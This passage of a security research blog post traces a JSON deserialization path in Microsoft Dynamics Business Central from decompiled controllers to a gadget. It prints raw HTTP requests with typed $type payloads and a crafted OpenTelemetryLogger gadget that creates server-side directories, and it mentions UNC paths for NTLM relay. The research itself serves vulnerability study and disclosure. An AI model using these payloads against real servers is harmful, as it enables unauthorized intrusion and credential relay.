<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">SessionId</span><span class="p">]</span>
<span class="p">[</span><span class="n">MetadataToken</span><span class="p">]</span>
<span class="p">[</span><span class="n">PermissionToken</span><span class="p">]</span>
<span class="p">[</span><span class="n">ApiController</span><span class="p">]</span> <span class="c1">// &lt;---</span>
<span class="p">[</span><span class="nf">ClientOperationBehavior</span><span class="p">(</span><span class="n">SessionUsage</span><span class="p">.</span><span class="n">UseCurrentSession</span><span class="p">,</span> <span class="n">RunInTransaction</span> <span class="p">=</span> <span class="k">true</span><span class="p">,</span> <span class="n">RetryAfterTransientError</span> <span class="p">=</span> <span class="k">true</span><span class="p">,</span> <span class="n">TelemetryCategory</span> <span class="p">=</span> <span class="n">Category</span><span class="p">.</span><span class="n">Metadata</span><span class="p">)]</span>
<span class="p">[</span><span class="nf">Route</span><span class="p">(</span><span class="s">"metadata"</span><span class="p">)]</span> <span class="c1">// &lt;---</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">ClientMetadataController</span> <span class="p">:</span> <span class="n">ServiceOperationController</span><span class="p">,</span> <span class="n">IClientMetadataApi</span>
<span class="c1">// [...snip...]</span>
</code></pre></div></div>

<h4 id="meeting-again-sessionidattribute">Meeting Again SessionIdAttribute</h4>

<p>We also meet again our <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Service.AspNetCore.Filters.SessionIdAttribute</code> which takes care of proper session handling.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">internal</span> <span class="k">sealed</span> <span class="k">class</span> <span class="nc">SessionIdAttribute</span> <span class="p">:</span> <span class="n">ActionFilterAttribute</span>
<span class="p">{</span>
	<span class="c1">// Token: 0x060001B9 RID: 441 RVA: 0x00007574 File Offset: 0x00005774</span>
	<span class="k">public</span> <span class="k">override</span> <span class="k">void</span> <span class="nf">OnActionExecuting</span><span class="p">(</span><span class="n">ActionExecutingContext</span> <span class="n">actionContext</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="n">HttpRequest</span> <span class="n">request</span> <span class="p">=</span> <span class="n">actionContext</span><span class="p">.</span><span class="n">HttpContext</span><span class="p">.</span><span class="n">Request</span><span class="p">;</span>
		<span class="kt">string</span> <span class="n">sessionId</span><span class="p">;</span>
		<span class="kt">string</span> <span class="n">text</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(!</span><span class="n">request</span><span class="p">.</span><span class="nf">TryGetHeader</span><span class="p">(</span><span class="s">"server-tenant-id"</span><span class="p">,</span> <span class="k">out</span> <span class="n">text</span><span class="p">)</span> <span class="p">||</span> <span class="p">!</span><span class="n">request</span><span class="p">.</span><span class="nf">TryGetHeader</span><span class="p">(</span><span class="s">"server-session-id"</span><span class="p">,</span> <span class="k">out</span> <span class="n">sessionId</span><span class="p">)</span> <span class="p">||</span> <span class="kt">string</span><span class="p">.</span><span class="nf">IsNullOrEmpty</span><span class="p">(</span><span class="n">sessionId</span><span class="p">))</span>
		<span class="p">{</span>
			<span class="n">actionContext</span><span class="p">.</span><span class="n">Result</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">ObjectResult</span><span class="p">(</span><span class="s">"Missing headers"</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="n">StatusCode</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">int</span><span class="p">?(</span><span class="m">401</span><span class="p">)</span>
			<span class="p">};</span>
			<span class="k">return</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="n">NavTenant</span> <span class="n">navTenant</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(!</span><span class="n">NavEnvironment</span><span class="p">.</span><span class="n">Instance</span><span class="p">.</span><span class="n">Tenants</span><span class="p">.</span><span class="nf">TryGetTenantById</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="k">out</span> <span class="n">navTenant</span><span class="p">,</span> <span class="k">false</span><span class="p">,</span> <span class="k">false</span><span class="p">,</span> <span class="k">false</span><span class="p">))</span>
		<span class="p">{</span>
			<span class="n">actionContext</span><span class="p">.</span><span class="n">Result</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">ObjectResult</span><span class="p">(</span><span class="s">"No tenant"</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="n">StatusCode</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">int</span><span class="p">?(</span><span class="m">401</span><span class="p">)</span>
			<span class="p">};</span>
			<span class="k">return</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="n">NavSession</span> <span class="n">navSession</span> <span class="p">=</span> <span class="n">navTenant</span><span class="p">.</span><span class="n">ActiveSessions</span><span class="p">.</span><span class="nf">FirstOrDefault</span><span class="p">((</span><span class="n">NavSession</span> <span class="n">s</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="n">s</span><span class="p">.</span><span class="n">ExternalId</span> <span class="p">==</span> <span class="n">sessionId</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">navSession</span> <span class="p">==</span> <span class="k">null</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="n">actionContext</span><span class="p">.</span><span class="n">Result</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">ObjectResult</span><span class="p">(</span><span class="s">"No session"</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="n">StatusCode</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">int</span><span class="p">?(</span><span class="m">401</span><span class="p">)</span>
			<span class="p">};</span>
			<span class="k">return</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="n">actionContext</span><span class="p">.</span><span class="n">HttpContext</span><span class="p">.</span><span class="nf">SetNavSession</span><span class="p">(</span><span class="n">navSession</span><span class="p">);</span>
		<span class="n">NavCurrentThread</span><span class="p">.</span><span class="n">Session</span> <span class="p">=</span> <span class="n">navSession</span><span class="p">;</span>
		<span class="k">base</span><span class="p">.</span><span class="nf">OnActionExecuting</span><span class="p">(</span><span class="n">actionContext</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="c1">// [...snip...]</span>
</code></pre></div></div>

<p>This class checks if e.g. header values such as <code class="language-plaintext highlighter-rouge">server-session-id</code> are set, otherwise the request is rejected and a response with status code 401 is returned. Indeed, if we send a request without session information, the response says:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
request-id: e4c88f20-cb7d-49e2-977a-aa312b6d4fb6
WWW-Authenticate: Negotiate
Date: Thu, 13 Jun 2024 20:07:55 GMT
Connection: close
Content-Length: 15

Missing headers
</code></pre></div></div>

<p>This could all become an additional problem, if we want to sip the drink of unauthenticated preconditions. But let’s look further into the deserialization parts first.</p>

<h4 id="hitting-json-deserialization">Hitting Json Deserialization</h4>

<p>So we know about controllers, let’s choose one randomly: <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Service.AspNetCore.UrlMediaController</code>.
We simply target the first API method implementation.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">ApiController</span><span class="p">]</span>
<span class="p">[</span><span class="nf">ClientOperationBehavior</span><span class="p">(</span><span class="n">SessionUsage</span><span class="p">.</span><span class="n">None</span><span class="p">,</span> <span class="n">TelemetryCategory</span> <span class="p">=</span> <span class="n">Category</span><span class="p">.</span><span class="n">Media</span><span class="p">)]</span>
<span class="p">[</span><span class="nf">Route</span><span class="p">(</span><span class="s">"urimedia"</span><span class="p">)]</span> <span class="c1">// &lt;---</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">UrlMediaController</span> <span class="p">:</span> <span class="n">ServiceOperationController</span>
<span class="p">{</span>
	<span class="c1">// Token: 0x060000AE RID: 174 RVA: 0x00004B08 File Offset: 0x00002D08</span>
	<span class="p">[</span><span class="n">HttpGet</span><span class="p">]</span> <span class="c1">// &lt;---</span>
	<span class="k">public</span> <span class="n">Task</span><span class="p">&lt;</span><span class="n">IActionResult</span><span class="p">&gt;</span> <span class="nf">GetUriMedia</span><span class="p">([</span><span class="n">FromBody</span><span class="p">]</span> <span class="n">NavUriMedia</span> <span class="n">uri</span><span class="p">)</span> <span class="c1">// &lt;---</span>
	<span class="p">{</span>
		<span class="n">Uri</span> <span class="n">validUri</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
		<span class="k">return</span> <span class="k">base</span><span class="p">.</span><span class="n">InvokeOperation</span><span class="p">&lt;</span><span class="n">IActionResult</span><span class="p">&gt;(</span><span class="k">delegate</span><span class="p">(</span><span class="n">ServiceOperationContext</span> <span class="n">context</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">Uri</span><span class="p">.</span><span class="nf">TryCreate</span><span class="p">(</span><span class="n">uri</span><span class="p">.</span><span class="n">Uri</span><span class="p">,</span> <span class="n">UriKind</span><span class="p">.</span><span class="n">RelativeOrAbsolute</span><span class="p">,</span> <span class="k">out</span> <span class="n">validUri</span><span class="p">))</span>
			<span class="p">{</span>
				<span class="n">NavUrlAccessibleMedia</span> <span class="n">urlMedia</span> <span class="p">=</span> <span class="n">NavMediaLinkHelper</span><span class="p">.</span><span class="nf">GetUrlAccessibleMediaByUri</span><span class="p">(</span><span class="n">validUri</span><span class="p">);</span>
				<span class="k">return</span> <span class="k">new</span> <span class="nf">FileStreamResult</span><span class="p">(</span><span class="k">new</span> <span class="nf">ChunkedMemoryStream</span><span class="p">(</span><span class="n">urlMedia</span><span class="p">.</span><span class="n">Content</span><span class="p">),</span> <span class="n">urlMedia</span><span class="p">.</span><span class="n">MimeType</span><span class="p">).</span><span class="nf">WithHeaders</span><span class="p">(</span><span class="k">delegate</span><span class="p">(</span><span class="n">IHeaderDictionary</span> <span class="n">headers</span><span class="p">)</span>
				<span class="p">{</span>
					<span class="n">headers</span><span class="p">[</span><span class="s">"x-file-name"</span><span class="p">]</span> <span class="p">=</span> <span class="n">urlMedia</span><span class="p">.</span><span class="n">FileName</span><span class="p">;</span>
				<span class="p">});</span>
			<span class="p">}</span>
			<span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nf">StatusCode</span><span class="p">(</span><span class="m">500</span><span class="p">);</span>
		<span class="p">});</span>
	<span class="p">}</span>
	<span class="c1">// [...snip...]</span>
</code></pre></div></div>

<p>The relevant parts to derive a proper request are marked above. Let’s add a breakpoint at <code class="language-plaintext highlighter-rouge">System.Type Microsoft.Dynamics.Nav.Types.NavSerializationBinder::BindToType(System.String,System.String)</code> and send our first request. Surprised by a GET request with a body? <a href="https://datatracker.ietf.org/doc/html/rfc7231#autoid-34">Don’t be</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /BC230/client/urimedia HTTP/1.1
Host: localhost:7085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://localhost:8080/BC230/?startTraceId=01984f95587e4d9ea092ed26a48b2cd6&amp;tid=&amp;runinframe=1
[SESSION_STUFF]
Content-Type: application/json
Content-Length: 6

{}
-------------------
HTTP/1.1 500 Internal Server Error
Content-Type: application/problem+json; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
request-id: 392cf8bc-c0d0-44c7-8201-6b942bd85e23
Date: Thu, 13 Jun 2024 20:17:19 GMT
Connection: close
Content-Length: 200

{"type":"https://tools.ietf.org/html/rfc7231#section-6.6.1","title":"An error occurred while processing your request.","status":500,"traceId":"00-a3551cff86ad51b73f90cae527017691-5f2e03be1d77c15d-01"}
</code></pre></div></div>

<p>Not what we expected but wait…nothing to deserialize here, so let’s try a random (typed) serialized Json payload from our collection over the years.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /BC230/client/urimedia HTTP/1.1
Host: localhost:7085
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://localhost:8080/BC230/?startTraceId=01984f95587e4d9ea092ed26a48b2cd6&amp;tid=&amp;runinframe=1
[SESSION_STUFF]
Content-Type: application/json
Content-Length: 209

{"$type":"System.Configuration.Install.AssemblyInstaller,
System.Configuration.Install, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a",
"Path":"file:///c:/somePath/MixedLibrary.dll"}
-------------------
HTTP/1.1 400 Bad Request
Content-Type: application/problem+json; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
request-id: 3bccb077-5186-4176-812a-4b7604c94464
Date: Thu, 13 Jun 2024 20:17:09 GMT
Connection: close
Content-Length: 441

{"errors":{"$type":["Error resolving type specified in Json 'System.Configuration.Install.AssemblyInstaller,\r\nSystem.Configuration.Install, Version=4.0.0.0, Culture=neutral,\r\nPublicKeyToken=b03f5f7f11d50a3a'. Path '$type', line 3, position 32."]},"type":"https://tools.ietf.org/html/rfc7231#section-6.5.1","title":"One or more validation errors occurred.","status":400,"traceId":"00-ec2642f1bc7465bfa8445ecf200b7b98-4b02f4d7ad8373ed-01"}
</code></pre></div></div>

<p>Alright, the type <code class="language-plaintext highlighter-rouge">AssemblyInstaller</code> was not found but what’s more satisfying: we hit our breakpoint in <code class="language-plaintext highlighter-rouge">NavSerializationBinder</code>. We’re on the right track. Looking back to our chapter “Hunting for Json Deserialization”, we already analyzed the allow list contents defined through .NET type namespaces: <em>ProductAssemblies, KnownRelatedTypes and NetStandardAssembly</em>. Until now, I couldn’t find any SerializationBinder bypasses, so the allow list holds as requirement.</p>

<p>In “Hunting for Json Deserialization” I also mentioned a few outstanding research references on Json deserialization. We learn from them that Json serializers use various algorithms trying to reconstruct an object from a serialized representation. Calling constructors are used a lot by gadget re<em>search</em>ers but also Setters. Of course there are more variants but we’ll focus on the most successful methods so far. I actually did some deep-dive into the Newtonsoft Json serializer and was surprised how flexible, creative and powerful it is. Just one example which I didn’t know (and hear about) before: the deserialization processor could utilize a parameterized constructor to create the object with one or few predefined fields from the serialization stream. If there are more fields, not being part of a constructor definition, it searches for Setters additionally.</p>

<blockquote>
  <p><strong>Advice #13</strong>: From time to time it’s a good idea to make a deep-dive into 3rd party library code bases. For a better understanding of its inner workings, but also to strengthen your knowledge base.</p>
</blockquote>

<p>And now the pain begins: searching for a gadget with could pass the SerializationBinder based on members of the allow list.
You could now go through the classes of each namespace in dnSpy.</p>

<p style="text-align: center;"><img src="/assets/images/dynamics/dynamicsnamespacesearch.png" alt="Namespace Search" /></p>

<p>In every class, you’re looking for “interesting” behavior in constructors and Setters. This can be a demotivating, stressful and long journey.</p>

<p>The first interesting gadget which I found was in exactly this namespace shown in the screenshot above. It is based on the class <code class="language-plaintext highlighter-rouge">Microsoft.BusinessCentral.Telemetry.OpenTelemetry.OpenTelemetryLogger`1</code>. The constructor looks like this:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="nf">OpenTelemetryLogger</span><span class="p">(</span><span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">object</span><span class="p">&gt;</span> <span class="n">contextColumns</span><span class="p">,</span> <span class="kt">string</span> <span class="n">logFileFolderOnlyUseDuringDevelopment</span> <span class="p">=</span> <span class="k">null</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">enableLoggingToEventLog</span> <span class="p">=</span> <span class="k">false</span><span class="p">,</span> <span class="n">LogLevel</span> <span class="n">minimumLogLevel</span> <span class="p">=</span> <span class="n">LogLevel</span><span class="p">.</span><span class="n">Information</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">string</span> <span class="n">tableName</span> <span class="p">=</span> <span class="n">LogDefinitionReflector</span><span class="p">.</span><span class="nf">GetTelemetryTableNameFromCustomAttribute</span><span class="p">(</span><span class="k">typeof</span><span class="p">(</span><span class="n">TLogDefinition</span><span class="p">));</span>
	<span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">object</span><span class="p">&gt;</span> <span class="n">finalContextColumns</span> <span class="p">=</span> <span class="n">OpenTelemetryLogger</span><span class="p">&lt;</span><span class="n">TLogDefinition</span><span class="p">&gt;.</span><span class="nf">GetFinalContextColumns</span><span class="p">(</span><span class="n">contextColumns</span><span class="p">);</span>
	<span class="n">Action</span><span class="p">&lt;</span><span class="n">GenevaExporterOptions</span><span class="p">&gt;</span> <span class="p">&lt;&gt;</span><span class="m">9</span><span class="n">__2</span><span class="p">;</span>
	<span class="n">Action</span><span class="p">&lt;</span><span class="n">FileExporterOptions</span><span class="p">&gt;</span> <span class="p">&lt;&gt;</span><span class="m">9</span><span class="n">__3</span><span class="p">;</span>
	<span class="n">Action</span><span class="p">&lt;</span><span class="n">OpenTelemetryLoggerOptions</span><span class="p">&gt;</span> <span class="p">&lt;&gt;</span><span class="m">9</span><span class="n">__1</span><span class="p">;</span>
	<span class="k">this</span><span class="p">.</span><span class="n">loggerFactory</span> <span class="p">=</span> <span class="n">LoggerFactory</span><span class="p">.</span><span class="nf">Create</span><span class="p">(</span><span class="k">delegate</span><span class="p">(</span><span class="n">ILoggingBuilder</span> <span class="n">builder</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="n">ILoggingBuilder</span> <span class="n">loggingBuilder</span> <span class="p">=</span> <span class="n">builder</span><span class="p">.</span><span class="nf">SetMinimumLevel</span><span class="p">(</span><span class="n">minimumLogLevel</span><span class="p">);</span>
		<span class="n">Action</span><span class="p">&lt;</span><span class="n">OpenTelemetryLoggerOptions</span><span class="p">&gt;</span> <span class="n">action</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">((</span><span class="n">action</span> <span class="p">=</span> <span class="p">&lt;&gt;</span><span class="m">9</span><span class="n">__1</span><span class="p">)</span> <span class="p">==</span> <span class="k">null</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="n">action</span> <span class="p">=</span> <span class="p">(&lt;&gt;</span><span class="m">9</span><span class="n">__1</span> <span class="p">=</span> <span class="k">delegate</span><span class="p">(</span><span class="n">OpenTelemetryLoggerOptions</span> <span class="n">loggerOptions</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="n">Action</span><span class="p">&lt;</span><span class="n">GenevaExporterOptions</span><span class="p">&gt;</span> <span class="n">action2</span><span class="p">;</span>
				<span class="k">if</span> <span class="p">((</span><span class="n">action2</span> <span class="p">=</span> <span class="p">&lt;&gt;</span><span class="m">9</span><span class="n">__2</span><span class="p">)</span> <span class="p">==</span> <span class="k">null</span><span class="p">)</span>
				<span class="p">{</span>
					<span class="n">action2</span> <span class="p">=</span> <span class="p">(&lt;&gt;</span><span class="m">9</span><span class="n">__2</span> <span class="p">=</span> <span class="k">delegate</span><span class="p">(</span><span class="n">GenevaExporterOptions</span> <span class="n">options</span><span class="p">)</span>
					<span class="p">{</span>
						<span class="n">options</span><span class="p">.</span><span class="n">ConnectionString</span> <span class="p">=</span> <span class="s">"EtwSession=Microsoft.Dynamics.BusinessCentral.OpenTelemetry"</span><span class="p">;</span>
						<span class="n">options</span><span class="p">.</span><span class="n">PrepopulatedFields</span> <span class="p">=</span> <span class="n">finalContextColumns</span><span class="p">;</span>
						<span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">string</span><span class="p">&gt;</span> <span class="n">dictionary</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">string</span><span class="p">&gt;();</span>
						<span class="n">dictionary</span><span class="p">[</span><span class="s">"*"</span><span class="p">]</span> <span class="p">=</span> <span class="n">tableName</span><span class="p">;</span>
						<span class="n">options</span><span class="p">.</span><span class="n">TableNameMappings</span> <span class="p">=</span> <span class="n">dictionary</span><span class="p">;</span>
					<span class="p">});</span>
				<span class="p">}</span>
				<span class="n">loggerOptions</span><span class="p">.</span><span class="nf">AddGenevaLogExporter</span><span class="p">(</span><span class="n">action2</span><span class="p">);</span>
				<span class="k">if</span> <span class="p">(!</span><span class="kt">string</span><span class="p">.</span><span class="nf">IsNullOrWhiteSpace</span><span class="p">(</span><span class="n">logFileFolderOnlyUseDuringDevelopment</span><span class="p">))</span> 
				<span class="p">{</span>
					<span class="n">Action</span><span class="p">&lt;</span><span class="n">FileExporterOptions</span><span class="p">&gt;</span> <span class="n">action3</span><span class="p">;</span>
					<span class="k">if</span> <span class="p">((</span><span class="n">action3</span> <span class="p">=</span> <span class="p">&lt;&gt;</span><span class="m">9</span><span class="n">__3</span><span class="p">)</span> <span class="p">==</span> <span class="k">null</span><span class="p">)</span>
					<span class="p">{</span>
						<span class="n">action3</span> <span class="p">=</span> <span class="p">(&lt;&gt;</span><span class="m">9</span><span class="n">__3</span> <span class="p">=</span> <span class="k">delegate</span><span class="p">(</span><span class="n">FileExporterOptions</span> <span class="n">options</span><span class="p">)</span>
						<span class="p">{</span>
							<span class="n">options</span><span class="p">.</span><span class="n">FilePath</span> <span class="p">=</span> <span class="n">Path</span><span class="p">.</span><span class="nf">Combine</span><span class="p">(</span><span class="n">logFileFolderOnlyUseDuringDevelopment</span><span class="p">,</span> <span class="n">tableName</span> <span class="p">+</span> <span class="s">".tsv"</span><span class="p">);</span> <span class="c1">// [6]</span>
							<span class="n">options</span><span class="p">.</span><span class="n">PrepopulatedFields</span> <span class="p">=</span> <span class="n">finalContextColumns</span><span class="p">;</span>
						<span class="p">});</span>
					<span class="p">}</span>
					<span class="n">loggerOptions</span><span class="p">.</span><span class="nf">AddFileExporter</span><span class="p">(</span><span class="n">action3</span><span class="p">);</span> <span class="c1">// [7]</span>
				<span class="p">}</span>
				<span class="c1">// [...snip...]</span>
</code></pre></div></div>

<p>The code line marked with [6] caught my attention quickly because we see a <code class="language-plaintext highlighter-rouge">Path.Combine</code> call with a controllable parameter <code class="language-plaintext highlighter-rouge">logFileFolderOnlyUseDuringDevelopment</code>. So what happens to the concatenated path in <code class="language-plaintext highlighter-rouge">System.String Microsoft.BusinessCentral.Telemetry.OpenTelemetry.FileExporter.FileExporterOptions::FilePath()</code>? At [7] <code class="language-plaintext highlighter-rouge">OpenTelemetry.Logs.OpenTelemetryLoggerOptions Microsoft.BusinessCentral.Telemetry.OpenTelemetry.FileExporter.FileExporterExtensions::AddFileExporter(OpenTelemetry.Logs.OpenTelemetryLoggerOptions,System.Action`1&lt;Microsoft.BusinessCentral.Telemetry.OpenTelemetry.FileExporter.FileExporterOptions&gt;)</code> is called.</p>

<p>To be fair, that’s not <em>really</em> true because the call hierarchy is a lot more complex then that.</p>

<p style="text-align: center;"><img src="/assets/images/dynamics/dynamicsgadgetcallstack.png" alt="Gadget Call Stack" /></p>

<p>But that would unnecessarily complicate relevant parts of our explanations, so we proceed with a simplified description.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">static</span> <span class="n">OpenTelemetryLoggerOptions</span> <span class="nf">AddFileExporter</span><span class="p">(</span><span class="k">this</span> <span class="n">OpenTelemetryLoggerOptions</span> <span class="n">loggerOptions</span><span class="p">,</span> <span class="n">Action</span><span class="p">&lt;</span><span class="n">FileExporterOptions</span><span class="p">&gt;</span> <span class="n">configure</span> <span class="p">=</span> <span class="k">null</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">FileExporterOptions</span> <span class="n">fileExporterOptions</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">FileExporterOptions</span><span class="p">();</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">configure</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="nf">configure</span><span class="p">(</span><span class="n">fileExporterOptions</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="n">loggerOptions</span><span class="p">.</span><span class="nf">AddProcessor</span><span class="p">(</span><span class="k">new</span> <span class="nf">SimpleLogRecordExportProcessor</span><span class="p">(</span><span class="k">new</span> <span class="nf">LogFileExporter</span><span class="p">(</span><span class="n">fileExporterOptions</span><span class="p">)));</span> <span class="c1">// [8]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">fileExporterOptions</code> variable holds the file path and is further processed in the constructor call at [8] by <code class="language-plaintext highlighter-rouge">System.Void Microsoft.BusinessCentral.Telemetry.OpenTelemetry.FileExporter.LogFileExporter::.ctor(Microsoft.BusinessCentral.Telemetry.OpenTelemetry.FileExporter.FileExporterOptions)</code>. The base class call in its constructor leads us to <code class="language-plaintext highlighter-rouge">Microsoft.BusinessCentral.Telemetry.OpenTelemetry.FileExporter.BaseFileExporter`1</code>.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">protected</span> <span class="nf">BaseFileExporter</span><span class="p">(</span><span class="n">FileExporterOptions</span> <span class="n">options</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">options</span> <span class="p">==</span> <span class="k">null</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="k">throw</span> <span class="k">new</span> <span class="nf">ArgumentNullException</span><span class="p">(</span><span class="s">"options"</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="k">this</span><span class="p">.</span><span class="n">options</span> <span class="p">=</span> <span class="n">options</span><span class="p">;</span>
	<span class="k">this</span><span class="p">.</span><span class="nf">CreateDirectoryForFilePathIfNecessary</span><span class="p">();</span> <span class="c1">// [9]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Then at [9] the method <code class="language-plaintext highlighter-rouge">System.Void Microsoft.BusinessCentral.Telemetry.OpenTelemetry.FileExporter.BaseFileExporter`1::CreateDirectoryForFilePathIfNecessary()</code> sounds promising.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">private</span> <span class="k">void</span> <span class="nf">CreateDirectoryForFilePathIfNecessary</span><span class="p">()</span>
<span class="p">{</span>
	<span class="k">try</span>
	<span class="p">{</span>
		<span class="kt">string</span> <span class="n">directoryName</span> <span class="p">=</span> <span class="n">Path</span><span class="p">.</span><span class="nf">GetDirectoryName</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">options</span><span class="p">.</span><span class="n">FilePath</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(!</span><span class="n">Directory</span><span class="p">.</span><span class="nf">Exists</span><span class="p">(</span><span class="n">directoryName</span><span class="p">))</span>
		<span class="p">{</span>
			<span class="n">Directory</span><span class="p">.</span><span class="nf">CreateDirectory</span><span class="p">(</span><span class="n">directoryName</span><span class="p">);</span>
		<span class="p">}</span>
	<span class="p">}</span>
	<span class="k">catch</span> <span class="p">(</span><span class="n">Exception</span> <span class="n">ex</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="k">throw</span> <span class="k">new</span> <span class="nf">ArgumentException</span><span class="p">(</span><span class="s">"Invalid file path: "</span> <span class="p">+</span> <span class="n">ex</span><span class="p">.</span><span class="n">Message</span><span class="p">,</span> <span class="n">ex</span><span class="p">);</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And indeed, our <code class="language-plaintext highlighter-rouge">options.FilePath</code> leads to a <code class="language-plaintext highlighter-rouge">System.Boolean System.IO.Directory::Exists(System.String)</code> and eventually a <code class="language-plaintext highlighter-rouge">System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)</code> call. This would be a pretty nice proof-of-concept because one could create directories on server-side and use UNC paths to enable NTLM Relay attacks, respectively. For a Json serializer, it is possible to write down the gadget by hand if one knows the structural definitions. Otherwise, you might write a few lines of code easily to get this:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
	</span><span class="nl">"$type"</span><span class="p">:</span><span class="s2">".Microsoft.BusinessCentral.Telemetry.OpenTelemetry.OpenTelemetryLogger`1[[Microsoft.BusinessCentral.Telemetry.OpenTelemetry.LogDefinitions.Log, Microsoft.BusinessCentral.Telemetry.OpenTelemetry]], Microsoft.BusinessCentral.Telemetry.OpenTelemetry, Version=8.1.23275.1, Culture=neutral, PublicKeyToken=31bf3856ad364e35"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"contextColumns"</span><span class="p">:{</span><span class="w">
		</span><span class="nl">"$type"</span><span class="p">:</span><span class="s2">"System.Collections.Generic.Dictionary`2[[System.String, System.Private.CoreLib],[System.Object, System.Private.CoreLib]], System.Private.CoreLib"</span><span class="p">,</span><span class="nl">"test"</span><span class="p">:</span><span class="s2">"whatever"</span><span class="w">
	</span><span class="p">},</span><span class="w">
	</span><span class="nl">"logFileFolderOnlyUseDuringDevelopment"</span><span class="p">:</span><span class="s2">"C:</span><span class="se">\\</span><span class="s2">Users</span><span class="se">\\</span><span class="s2">Public</span><span class="se">\\</span><span class="s2">Foobar</span><span class="se">\\</span><span class="s2">test.txt"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>So now we’re ready to deliver this to an endpoint, shall we?</p>

<h4 id="finding-the-entrypoint">Finding the Entrypoint</h4>

<p>We found a gadget, so just an entrypoint is missing where we’re able to deliver the payload. Why an entrypoint, you might ask? We already know how to hit the Json deserialization: sending a GET to <code class="language-plaintext highlighter-rouge">/BC230/client/urimedia</code> with a Json body. Well, I didn’t test this but I know why. Let’s do it anyways for this blog post only. What do you see after sending the request? Any new directories created?
If I’m not sure were to put a breakpoint first for error analysis, dnSpy gives you an easy way to catch all exceptions at once.</p>

